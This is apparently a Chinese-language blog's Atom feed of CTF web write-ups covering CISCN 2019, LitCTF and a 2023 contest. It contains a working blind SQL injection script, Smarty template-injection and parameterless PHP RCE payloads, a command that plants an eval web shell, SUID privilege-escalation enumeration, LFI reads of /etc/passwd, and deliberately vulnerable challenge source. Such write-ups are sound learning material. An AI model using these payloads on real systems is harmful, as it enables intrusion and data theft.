<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Van</title>
  
  
  <link href="http://van0308.github.io/atom.xml" rel="self"/>
  
  <link href="http://van0308.github.io/"/>
  <updated>2023-05-16T14:45:36.219Z</updated>
  <id>http://van0308.github.io/</id>
  
  <author>
    <name>Van</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>CISCN 2019华北Day2 Web1</title>
    <link href="http://van0308.github.io/2023/05/buu_web/ciscn/CISCN-2019%E5%8D%8E%E5%8C%97Day2-Web1/"/>
    <id>http://van0308.github.io/2023/05/buu_web/ciscn/CISCN-2019%E5%8D%8E%E5%8C%97Day2-Web1/</id>
    <published>2023-05-16T14:18:34.000Z</published>
    <updated>2023-05-16T14:45:36.219Z</updated>
    
    <content type="html"><![CDATA[<p>fuzz发现很多都被过滤了。</p><p>发现是空格过滤了，用括号试试，再试试异或，OK</p><p>exp</p><p>拿之前的异或脚本改一改</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># 1^(ascii(substr((select(flag)from(flag)),1,1))&gt;1)^1</span><br><span class="line">import requests</span><br><span class="line">import time</span><br><span class="line"></span><br><span class="line">url = &quot;http://node2.anna.nssctf.cn:28140/index.php&quot;</span><br><span class="line">payload = &quot;1^(ascii(substr((select(flag)from(flag)),&#123;&#125;,1))&gt;&#123;&#125;)^1&quot;</span><br><span class="line">i = 0</span><br><span class="line">mess_ok = &quot;glzjin wants a girlfriend.&quot;</span><br><span class="line"># mess_false = &quot;not&quot;</span><br><span class="line">out = &quot;&quot;</span><br><span class="line">while True:</span><br><span class="line">    i += 1</span><br><span class="line">    begin = 32</span><br><span class="line">    end = 128</span><br><span class="line">    tmp = (begin + end) // 2</span><br><span class="line">    while begin &lt; end:</span><br><span class="line">        # url=url+p_dlen.format(i)   错误写法，url会一直增加</span><br><span class="line">        # res=requests.get(url)</span><br><span class="line">        # new_url = url + payload.format(i,chr(tmp))</span><br><span class="line">        new_url = url</span><br><span class="line">        data = &#123;</span><br><span class="line">            &quot;id&quot;: payload.format(i, tmp)</span><br><span class="line">        &#125;</span><br><span class="line">        res = requests.post(new_url,data=data)</span><br><span class="line">        # print(res.text)</span><br><span class="line">        # print(new_url)</span><br><span class="line">        # print(begin,end,tmp)</span><br><span class="line">        if res.status_code == 429:</span><br><span class="line">            print(&quot;too fast&quot;)</span><br><span class="line">            time.sleep(0.5)</span><br><span class="line">        if mess_ok in res.text:</span><br><span class="line">            # print(i)</span><br><span class="line">            begin = tmp + 1</span><br><span class="line">        else:</span><br><span class="line">            end = tmp</span><br><span class="line">        tmp = (begin + end) // 2</span><br><span class="line">        # print(i)</span><br><span class="line">    if begin == 32 or end == 128:</span><br><span class="line">        break</span><br><span class="line">    out += chr(tmp)</span><br><span class="line">    print(out)</span><br><span class="line"></span><br><span class="line">NSSCTF&#123;b29f1060-322b-49af-8bb9-a90c4ff6c5a4&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;fuzz发现很多都被过滤了。&lt;/p&gt;
&lt;p&gt;发现是空格过滤了，用括号试试，再试试异或，OK&lt;/p&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;p&gt;拿之前的异或脚本改一改&lt;/p&gt;
&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=</summary>
      
    
    
    
    
    <category term="SQL" scheme="http://van0308.github.io/tags/SQL/"/>
    
  </entry>
  
  <entry>
    <title>“CISCN2019 华东南赛区 Web11”</title>
    <link href="http://van0308.github.io/2023/05/buu_web/ciscn/CISCN2019-%E5%8D%8E%E4%B8%9C%E5%8D%97%E8%B5%9B%E5%8C%BAWeb11/"/>
    <id>http://van0308.github.io/2023/05/buu_web/ciscn/CISCN2019-%E5%8D%8E%E4%B8%9C%E5%8D%97%E8%B5%9B%E5%8C%BAWeb11/</id>
    <published>2023-05-16T13:29:53.000Z</published>
    <updated>2023-05-16T14:16:54.664Z</updated>
    
    <content type="html"><![CDATA[<p>题目打开有xff头（但nss我试了没有），试着改一改，发现可能是注入点，然后进行注入即可。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">看到有操作是直接&#123;&#123;system(&#x27;cat /flag&#x27;)&#125;&#125;</span><br></pre></td></tr></table></figure><p>不过考点应该是smarty的</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&#123;$smarty.version&#125;</span><br><span class="line">Smarty支持使用&#123;php&#125;&#123;/php&#125;标签来执行被包裹其中的php指令。 </span><br><span class="line">如 &#123;php&#125;phpinfo();&#123;/php&#125;</span><br><span class="line">但是3.1.30已废除&#123;php&#125;标签</span><br><span class="line">Smarty的&#123;if&#125;条件判断和PHP的if 非常相似，只是增加了一些特性。全部的PHP条件表达式和函数都可以在if内使用，如*||*,or,&amp;&amp;,and,is_array(), 等等。</span><br><span class="line">&#123;if phpinfo()&#125;&#123;/if&#125;</span><br><span class="line">&#123;if system(&#x27;ls&#x27;)&#125;&#123;/if&#125;</span><br><span class="line">&#123;if show_source(&#x27;/flag&#x27;)&#125;&#123;/if&#125;</span><br></pre></td></tr></table></figure><p><a href="https://www.freebuf.com/column/219913.html">https://www.freebuf.com/column/219913.html</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;题目打开有xff头（但nss我试了没有），试着改一改，发现可能是注入点，然后进行注入即可。&lt;/p&gt;
&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;</summary>
      
    
    
    
    
    <category term="ssti" scheme="http://van0308.github.io/tags/ssti/"/>
    
    <category term="smarty" scheme="http://van0308.github.io/tags/smarty/"/>
    
  </entry>
  
  <entry>
    <title>LitCTF2023</title>
    <link href="http://van0308.github.io/2023/05/%E7%AB%9E%E8%B5%9B/LitCTF2023/"/>
    <id>http://van0308.github.io/2023/05/%E7%AB%9E%E8%B5%9B/LitCTF2023/</id>
    <published>2023-05-16T12:59:39.000Z</published>
    <updated>2023-05-16T13:01:44.053Z</updated>
    
    <content type="html"><![CDATA[<p>web 基本做出来了，除了SQL还有session伪造还有无事发生（社工，找GitHub链接，然后在无事发生那个文件里面找）</p><p>贴一些链接，感觉比赛作为入门挺好的</p><p><a href="https://blog.csdn.net/Aluxian_/article/details/130657256">https://blog.csdn.net/Aluxian_/article/details/130657256</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;web 基本做出来了，除了SQL还有session伪造还有无事发生（社工，找GitHub链接，然后在无事发生那个文件里面找）&lt;/p&gt;
&lt;p&gt;贴一些链接，感觉比赛作为入门挺好的&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/Aluxian_/ar</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>CISCN2019 华东南赛区 Web4</title>
    <link href="http://van0308.github.io/2023/05/buu_web/ciscn/CISCN2019-%E5%8D%8E%E4%B8%9C%E5%8D%97%E8%B5%9B%E5%8C%BA-Web4/"/>
    <id>http://van0308.github.io/2023/05/buu_web/ciscn/CISCN2019-%E5%8D%8E%E4%B8%9C%E5%8D%97%E8%B5%9B%E5%8C%BA-Web4/</id>
    <published>2023-05-16T11:45:41.000Z</published>
    <updated>2023-05-16T13:06:08.081Z</updated>
    
    <content type="html"><![CDATA[<p>代码</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># encoding:utf-8</span><br><span class="line">import re, random, uuid, urllib</span><br><span class="line">from flask import Flask, session, request</span><br><span class="line"></span><br><span class="line">app = Flask(__name__)</span><br><span class="line">random.seed(uuid.getnode())</span><br><span class="line">app.config[&#x27;SECRET_KEY&#x27;] = str(random.random()*233)</span><br><span class="line">app.debug = True</span><br><span class="line"></span><br><span class="line">@app.route(&#x27;/&#x27;)</span><br><span class="line">def index():</span><br><span class="line">    session[&#x27;username&#x27;] = &#x27;www-data&#x27;</span><br><span class="line">    return &#x27;Hello World! &lt;a href=&quot;/read?url=https://baidu.com&quot;&gt;Read somethings&lt;/a&gt;&#x27;</span><br><span class="line"></span><br><span class="line">@app.route(&#x27;/read&#x27;)</span><br><span class="line">def read():</span><br><span class="line">    try:</span><br><span class="line">        url = request.args.get(&#x27;url&#x27;)</span><br><span class="line">        m = re.findall(&#x27;^file.*&#x27;, url, re.IGNORECASE)</span><br><span class="line">        n = re.findall(&#x27;flag&#x27;, url, re.IGNORECASE)</span><br><span class="line">        if m or n:</span><br><span class="line">            return &#x27;No Hack&#x27;</span><br><span class="line">        res = urllib.urlopen(url)</span><br><span class="line">        return res.read()</span><br><span class="line">    except Exception as ex:</span><br><span class="line">        print str(ex)</span><br><span class="line">    return &#x27;no response&#x27;</span><br><span class="line"></span><br><span class="line">@app.route(&#x27;/flag&#x27;)</span><br><span class="line">def flag():</span><br><span class="line">    if session and session[&#x27;username&#x27;] == &#x27;fuck&#x27;:</span><br><span class="line">        return open(&#x27;/flag.txt&#x27;).read()</span><br><span class="line">    else:</span><br><span class="line">        return &#x27;Access denied&#x27;</span><br><span class="line"></span><br><span class="line">if __name__==&#x27;__main__&#x27;:</span><br><span class="line">    app.run(</span><br><span class="line">        debug=True,</span><br><span class="line">        host=&quot;0.0.0.0&quot;</span><br><span class="line">    )</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>查Mac</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">/read?url=../../../sys/class/net/eth0/address</span><br><span class="line">得到fa:6a:b8:98:32:4a </span><br></pre></td></tr></table></figure><p>注意Mac转化要用Python2</p><p>然后用Python脚本即可</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;代码&lt;/p&gt;
&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;# encoding:utf-8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;li</summary>
      
    
    
    
    
    <category term="flask session 伪造" scheme="http://van0308.github.io/tags/flask-session-%E4%BC%AA%E9%80%A0/"/>
    
  </entry>
  
  <entry>
    <title></title>
    <link href="http://van0308.github.io/2023/05/%E7%AB%9E%E8%B5%9B/%E7%9B%98%E5%8F%A4%E7%9F%B3%E6%9D%AF/"/>
    <id>http://van0308.github.io/2023/05/%E7%AB%9E%E8%B5%9B/%E7%9B%98%E5%8F%A4%E7%9F%B3%E6%9D%AF/</id>
    <published>2023-05-12T15:15:12.834Z</published>
    <updated>2023-05-12T15:15:44.047Z</updated>
    
    <content type="html"><![CDATA[<p><a href="https://blog.csdn.net/weixin_42744595/article/details/130567542">https://blog.csdn.net/weixin_42744595/article/details/130567542</a></p><p><a href="https://mp.weixin.qq.com/s?__biz=MzkzNTQzNTQzMQ==&mid=2247484307&idx=1&sn=f32529f761a8b6675cd98235a4ba45d3&chksm=c2af4e5bf5d8c74d90a7a52881261a540fcea6dcea4e92059043eeb3192eca8f2a35d1fec050&mpshare=1&scene=23&srcid=0511mEgG3O1QQeAUBR2dMAMn&sharer_sharetime=1683815293967&sharer_shareid=cfad11f42ce92eed4932225e44fcc1c0#rd">https://mp.weixin.qq.com/s?__biz=MzkzNTQzNTQzMQ==&amp;mid=2247484307&amp;idx=1&amp;sn=f32529f761a8b6675cd98235a4ba45d3&amp;chksm=c2af4e5bf5d8c74d90a7a52881261a540fcea6dcea4e92059043eeb3192eca8f2a35d1fec050&amp;mpshare=1&amp;scene=23&amp;srcid=0511mEgG3O1QQeAUBR2dMAMn&amp;sharer_sharetime=1683815293967&amp;sharer_shareid=cfad11f42ce92eed4932225e44fcc1c0#rd</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/weixin_42744595/article/details/130567542&quot;&gt;https://blog.csdn.net/weixin_42744595/article/details/130567542</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>贵阳数博会2023</title>
    <link href="http://van0308.github.io/2023/04/%E7%AB%9E%E8%B5%9B/%E8%B4%B5%E9%98%B3%E6%95%B0%E5%8D%9A%E4%BC%9A/"/>
    <id>http://van0308.github.io/2023/04/%E7%AB%9E%E8%B5%9B/%E8%B4%B5%E9%98%B3%E6%95%B0%E5%8D%9A%E4%BC%9A/</id>
    <published>2023-04-27T12:39:29.000Z</published>
    <updated>2023-05-04T14:19:56.927Z</updated>
    
    <content type="html"><![CDATA[<h3 id="web"><a href="#web" class="headerlink" title="web"></a>web</h3><h4 id="PING"><a href="#PING" class="headerlink" title="PING"></a>PING</h4><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">OK：</span><br><span class="line">&amp; </span><br><span class="line">url编码</span><br><span class="line">BAN:</span><br><span class="line">;</span><br><span class="line">|</span><br><span class="line">`</span><br><span class="line">/</span><br><span class="line">^</span><br><span class="line">~</span><br><span class="line">&gt;</span><br><span class="line">&lt;</span><br><span class="line">?</span><br><span class="line">$</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">badrequest #</span><br><span class="line"></span><br><span class="line">数组也不行</span><br><span class="line">l\s</span><br><span class="line">ls&amp;curl 127.0.0.1 一点延迟回显都没有</span><br><span class="line">可以直接访问flag.php</span><br><span class="line"></span><br><span class="line">赛后居然发现是nl flag.php </span><br><span class="line">无语了</span><br></pre></td></tr></table></figure><h4 id="pop"><a href="#pop" class="headerlink" title="pop"></a>pop</h4><p>简单的链子</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Fastdestruct 破坏掉就行了，把最后一个花括号删了。</span><br><span class="line">https://www.jianshu.com/p/38606134fdd6</span><br></pre></td></tr></table></figure><h4 id="May-be"><a href="#May-be" class="headerlink" title="May_be"></a>May_be</h4><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">highlight_file(__FILE__);</span><br><span class="line">$a = $_GET[&#x27;a&#x27;];</span><br><span class="line">if(&#x27;;&#x27; === preg_replace(&#x27;/[^\W]+\((?R)?\)/&#x27;, &#x27;&#x27;, $a))  &#123;</span><br><span class="line">    if (!preg_match(&quot;/sess|ion|head|ers|file|na|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i&quot;,$a))&#123;</span><br><span class="line">        eval($a);</span><br><span class="line">    &#125;else&#123;</span><br><span class="line">        die(&quot;May be you should bypass.&quot;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;else&#123;</span><br><span class="line">    die(&quot;nonono&quot;);</span><br><span class="line">&#125;</span><br><span class="line">?&gt;</span><br><span class="line">nonono</span><br></pre></td></tr></table></figure><p>无参数rce</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">print_r(scandir(current(localeconv())));</span><br><span class="line">var_dump(get_defined_vars());</span><br><span class="line">拿网上的payload打一下，然后可以执行。结果是得提权。</span><br><span class="line">https://blog.csdn.net/Manuffer/article/details/120738755</span><br><span class="line"></span><br><span class="line">?a=eval(end(current(get_defined_vars())));&amp;shell=system(&#x27;ls&#x27;);</span><br></pre></td></tr></table></figure><p>找到权限</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">find / -perm -u=s -type f 2&gt;/dev/null </span><br><span class="line">/bin/mount</span><br><span class="line">/bin/cp</span><br><span class="line">/bin/su</span><br><span class="line">/bin/umount</span><br><span class="line">/usr/bin/chfn</span><br><span class="line">/usr/bin/chsh</span><br><span class="line">/usr/bin/newgrp</span><br><span class="line">/usr/bin/passwd</span><br><span class="line">/usr/bin/gpasswd</span><br><span class="line">做多了题目就发现，里面cp可能可以提权</span><br></pre></td></tr></table></figure><p>搜了一下cp提权可能得要输入密码，然后思路是写一句话木马，然后蚁剑链接，就可以终端输入密码了。然后就开始坑的地方</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">题目会把写的一句话木马的一些内容给你换掉，比如$_GET等，还有&#x27;单引号，换成空的，而$_GET我猜测只换了一次，那我双写一下试试，结果就写进去了，而&#x27;单引号，试了一下，发现会多次置空，那我猜测转义一下，没想到就写进去了。（如何发现的，我cat了我写进去的文件，发现我的马被人偷了一部分。。。然后对照着改的）</span><br><span class="line">下面是payload</span><br><span class="line">?a=eval(end(current(get_defined_vars())));</span><br><span class="line">&amp;shell=$_GET[&#x27;s&#x27;];&amp;s=system(&quot;echo &#x27;&lt;?php @eval($$_GET[1]_POST[&#x27;\&#x27;van\&#x27;&#x27;]);?&gt;&#x27; &gt; 2.php&quot;);</span><br><span class="line">写完直接访问2.php，记住蚁剑是用post的，不是用get的。</span><br></pre></td></tr></table></figure><p>然后进入终端交互模式，结果发现不能输入密码，提示说什么认证错误还是不允许。查找其他方法。</p><p>待学</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">无参数rce</span><br><span class="line">https://blog.csdn.net/weixin_46330722/article/details/110840156</span><br><span class="line">https://www.cnblogs.com/pursue-security/p/15406272.html#_label1_5</span><br><span class="line">https://cloud.tencent.com/developer/article/1760288</span><br><span class="line">https://blog.csdn.net/Manuffer/article/details/120738755</span><br><span class="line">https://blog.csdn.net/weixin_30568317/article/details/116284685</span><br></pre></td></tr></table></figure><h4 id="Hackerconfused"><a href="#Hackerconfused" class="headerlink" title="Hackerconfused"></a>Hackerconfused</h4><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">error_reporting(0);</span><br><span class="line">$CanRead = false;</span><br><span class="line">class SFile&#123;</span><br><span class="line">    public $name;</span><br><span class="line">    public function __construct($name) &#123;</span><br><span class="line">        $this-&gt;name = $name;</span><br><span class="line">    &#125;</span><br><span class="line">    public function __toString()&#123;</span><br><span class="line">        $num = count(scandir($this-&gt;name));</span><br><span class="line">        if($num &gt; 0)&#123;</span><br><span class="line">            return &#x27;Not null&#x27;;</span><br><span class="line">        &#125; else &#123;</span><br><span class="line">            return &#x27;Access the backdoor_******.php.* in [0-f]&#x27;;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">class Funny&#123;</span><br><span class="line">    public $name;</span><br><span class="line">    public function __construct($name)&#123;</span><br><span class="line">        if(strstr($name, &#x27;backdoor&#x27;)===false)&#123;</span><br><span class="line">            $this-&gt;name = $name;</span><br><span class="line">        &#125;else&#123;</span><br><span class="line">            $this-&gt;name = &#x27;nohint.txt&#x27;;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    public function __toString()&#123;</span><br><span class="line">        return $this-&gt;name;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    public function __destruct()&#123;</span><br><span class="line">        global $CanRead;</span><br><span class="line">        if(strstr($name, &#x27;backdoor&#x27;)!==false)&#123;</span><br><span class="line">            die(&#x27;try again&#x27;);</span><br><span class="line">        &#125;</span><br><span class="line">        if($CanRead)&#123;</span><br><span class="line">            echo(file_get_contents($this-&gt;name));</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">class Fun&#123;</span><br><span class="line">    public $secret = &#x27;nohint.txt&#x27;;</span><br><span class="line">    public function __wakeup()&#123;</span><br><span class="line">        echo $this-&gt;secret;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    public function __toString()&#123;</span><br><span class="line">        global $CanRead;</span><br><span class="line">        $CanRead = true;</span><br><span class="line">        return (new Funny($this-&gt;secret))-&gt;name;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">if(isset($_GET[&#x27;p&#x27;]))&#123;</span><br><span class="line">    unserialize(base64_decode($_GET[&#x27;p&#x27;]));</span><br><span class="line">&#125;else&#123;</span><br><span class="line">    show_source(__FILE__);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="LFI"><a href="#LFI" class="headerlink" title="LFI"></a>LFI</h4><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">任意读取文件，看到内网还有主机存活172.16.7.43，扫了一下，发现后面基本访问速度很慢，应该是不让扫的。那得换换思路。时间有限，没找出来。</span><br></pre></td></tr></table></figure><h4 id="不太喜欢flask的开发"><a href="#不太喜欢flask的开发" class="headerlink" title="不太喜欢flask的开发"></a>不太喜欢flask的开发</h4><p>题目描述：</p><p>这个开发以前做java的，不太喜欢flask，那源码中自然会有一些习惯和缺陷了</p><p>尝试：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">开环境上去就得用户密码。</span><br><span class="line">最后得出来是tomcat/tomcat</span><br><span class="line">连上去后抓包</span><br><span class="line">有Authorization: Basic dG9tY2F0OnRvbWNhdA==</span><br><span class="line">然后response：</span><br><span class="line">you are not our client,please guess our SECRET_KEY and Generating cookies using keys ,then view /search?flag=***** </span><br><span class="line">直接访问/search?flag=后会</span><br><span class="line">&#123;&quot;msg&quot;:&quot;Missing cookie \&quot;access_token_cookie\&quot;&quot;&#125;</span><br><span class="line">加上cookie</span><br><span class="line">access_token_cookie=12334 会有no enough segments</span><br><span class="line">猜jwt</span><br><span class="line">access_token_cookie=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIn0.04lcEO1dxtIIBa-Bt_tw8kmO8HpAwqb8BLCHz98S10w</span><br><span class="line">返回&#123;&quot;msg&quot;:&quot;Signature verification failed&quot;&#125;</span><br><span class="line">扫不到目录，搜了一下可能是WEB-INF/web.xml泄露，但是也不清楚</span><br></pre></td></tr></table></figure><h4 id="完美网站"><a href="#完美网站" class="headerlink" title="完美网站"></a>完美网站</h4><p>重定向-抓包</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">url base64解码得到tupian.png</span><br><span class="line">自己改改，会报错。然后说n是30-10的，自己加上get n</span><br><span class="line">不会报错。</span><br><span class="line">尝试爆破n，可以读出内容。</span><br><span class="line">读一下index.php</span><br><span class="line">然后尝试文件包含，找不到内容。</span><br><span class="line">卡住。没想到tupian.png有信息。winhex分析，最下面有提示一个PHP文件</span><br><span class="line">ffffpq.php</span><br><span class="line">然后读取就行了。</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">header(&quot;Content-type:text/html;charset=utf-8&quot;);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">echo &quot;å«éå®åäºï¼èµ¶å¿«è®©æï¼?n=30-10,ä»¥åçæ°å¼ã)-_-&quot;;</span><br><span class="line">$image=$_GET[&#x27;img&#x27;];</span><br><span class="line"></span><br><span class="line">$allow = range(2,20);</span><br><span class="line">shuffle($allow);</span><br><span class="line"></span><br><span class="line">if(($_GET[&#x27;n&#x27;]==$allow[0]))&#123;</span><br><span class="line">$image = base64_decode($image);</span><br><span class="line">$data = base64_encode(file_get_contents($image));</span><br><span class="line">echo &quot;&lt;img src=&#x27;data:image/png;base64,$data&#x27;/&gt;&quot;;</span><br><span class="line">&#125;else&#123;</span><br><span class="line">$image = base64_encode(&quot;tupian.png&quot;);</span><br><span class="line">header(&quot;location:/?img=&quot;.$image);</span><br><span class="line">&#125;//index.php</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">一些尝试</span><br><span class="line">读不出来</span><br><span class="line">../../../flag</span><br><span class="line">Flag.php</span><br><span class="line">Flag.txt</span><br><span class="line">读得出来</span><br><span class="line">/etc/passwd</span><br><span class="line">../../../var/www/html/index.php</span><br><span class="line">../../../etc/passwd</span><br><span class="line">php://filter/convert.base64-encode/resource=index.php</span><br><span class="line">php://filter/convert.base64-encode/resource=/etc/passwd</span><br><span class="line">data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==</span><br><span class="line">会被解析，返回PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==       &lt;?php system(&quot;cat flag.php&quot;);?&gt;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">本来没去分析一下图片，还想着上传临时文件，然后去文件包含呢。。。</span><br></pre></td></tr></table></figure><h4 id="notrce"><a href="#notrce" class="headerlink" title="notrce"></a>notrce</h4><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">highlight_file(__FILE__);</span><br><span class="line">error_reporting(0);</span><br><span class="line">$c=$_POST[&#x27;c&#x27;];</span><br><span class="line">if(!preg_match(&quot;/vi|less|tail|head|od|sh|echo|touch|re|mv|rm|cat|ls|tac|more|cut|curl|wget|base|&gt;|&lt;|`|\*|\\$|\\\/i&quot;,$c))&#123;</span><br><span class="line">    exec($c);</span><br><span class="line">&#125;else&#123;</span><br><span class="line">    die(&quot;hacker&quot;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">c=cp /flag 1.txt</span><br><span class="line">无回显rce，直接出了，可能还可以取反绕过</span><br><span class="line">待学学（坑）</span><br><span class="line">https://blog.csdn.net/weixin_46706771/article/details/119031343</span><br><span class="line">https://www.cnblogs.com/pursue-security/p/15406672.html</span><br></pre></td></tr></table></figure><h3 id="misc"><a href="#misc" class="headerlink" title="misc"></a>misc</h3><h4 id="传说中的小黑"><a href="#传说中的小黑" class="headerlink" title="传说中的小黑"></a>传说中的小黑</h4><p>下载下来是一个图片，winhex 正常分析一波，看到有zip，foremost出来，要密码。那么尝试一下伪加密，改了一下没成功。那么寻找密钥，在图片winhex中找到了一段base64的密文，就在压缩包文件头（PK)前面,然后得到密码。解压后得到一大串数据，观察一下，A-Z,0-9,base16(hex)。cyberchef转换一下，然后输出为文件。观察到是JFIF——图片，少了文件头，手动添加一下 FFD8FFE0，然后再打开即可。扫一下二维码。</p><p>（拖到winhex中，然后在文件头右键——编辑——粘贴0字节，4个。然后敲即可）</p><p>坑：利用一个在线网站得出来的是错误的，换成cyberchef就正常了。（在操作那里拖一个from hex出来。就行了。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;web&quot;&gt;&lt;a href=&quot;#web&quot; class=&quot;headerlink&quot; title=&quot;web&quot;&gt;&lt;/a&gt;web&lt;/h3&gt;&lt;h4 id=&quot;PING&quot;&gt;&lt;a href=&quot;#PING&quot; class=&quot;headerlink&quot; title=&quot;PING&quot;&gt;&lt;/a&gt;PIN</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>[b01lers2020]Life on Mars</title>
    <link href="http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/b01lers2020-Life-on-Mars/"/>
    <id>http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/b01lers2020-Life-on-Mars/</id>
    <published>2023-04-26T15:15:15.000Z</published>
    <updated>2023-04-26T15:16:00.683Z</updated>
    
    <content type="html"><![CDATA[<p>SQL注入</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;SQL注入&lt;/p&gt;
</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>[GKCTF 2021]easycms</title>
    <link href="http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/GKCTF-2021-easycms/"/>
    <id>http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/GKCTF-2021-easycms/</id>
    <published>2023-04-26T14:22:24.000Z</published>
    <updated>2023-04-26T15:12:20.449Z</updated>
    
    <content type="html"><![CDATA[<p>搜一下发现</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">index.php?mode=getconfig</span><br><span class="line">得到版本</span><br><span class="line">version&quot;:&quot;7.7</span><br><span class="line">然后继续 访问admin.php</span><br><span class="line">根据提示说五位弱密码，那么直接猜12345 进入</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>根据网上的步骤来就行了</p><p>我是用文件上传加编辑代码的</p><p>执行操作的时候甚至还火绒报毒了，还得把火绒关了才行。</p><p>然后代码重写之后，修改会不刷新结果。那么去上传文件的地方重新点修改然后直接保存，再刷新主页就得到结果了。（差不多这样）</p><p><a href="https://blog.csdn.net/scrawman/article/details/122619270">https://blog.csdn.net/scrawman/article/details/122619270</a></p><p><a href="https://blog.csdn.net/LYJ20010728/article/details/120005727">https://blog.csdn.net/LYJ20010728/article/details/120005727</a></p><p><a href="https://blog.csdn.net/solitudi/article/details/118873773">https://blog.csdn.net/solitudi/article/details/118873773</a></p><p><a href="https://blog.csdn.net/qq_38154820/article/details/106329727">https://blog.csdn.net/qq_38154820/article/details/106329727</a></p><p><a href="https://blog.csdn.net/LYJ20010728/article/details/120005727">https://blog.csdn.net/LYJ20010728/article/details/120005727</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;搜一下发现&lt;/p&gt;
&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;index.php?mode=getconfig&lt;/span&gt;&lt;br&gt;&lt;spa</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>[SUCTF 2018]GetShell</title>
    <link href="http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/SUCTF-2018-GetShell/"/>
    <id>http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/SUCTF-2018-GetShell/</id>
    <published>2023-04-26T13:38:21.000Z</published>
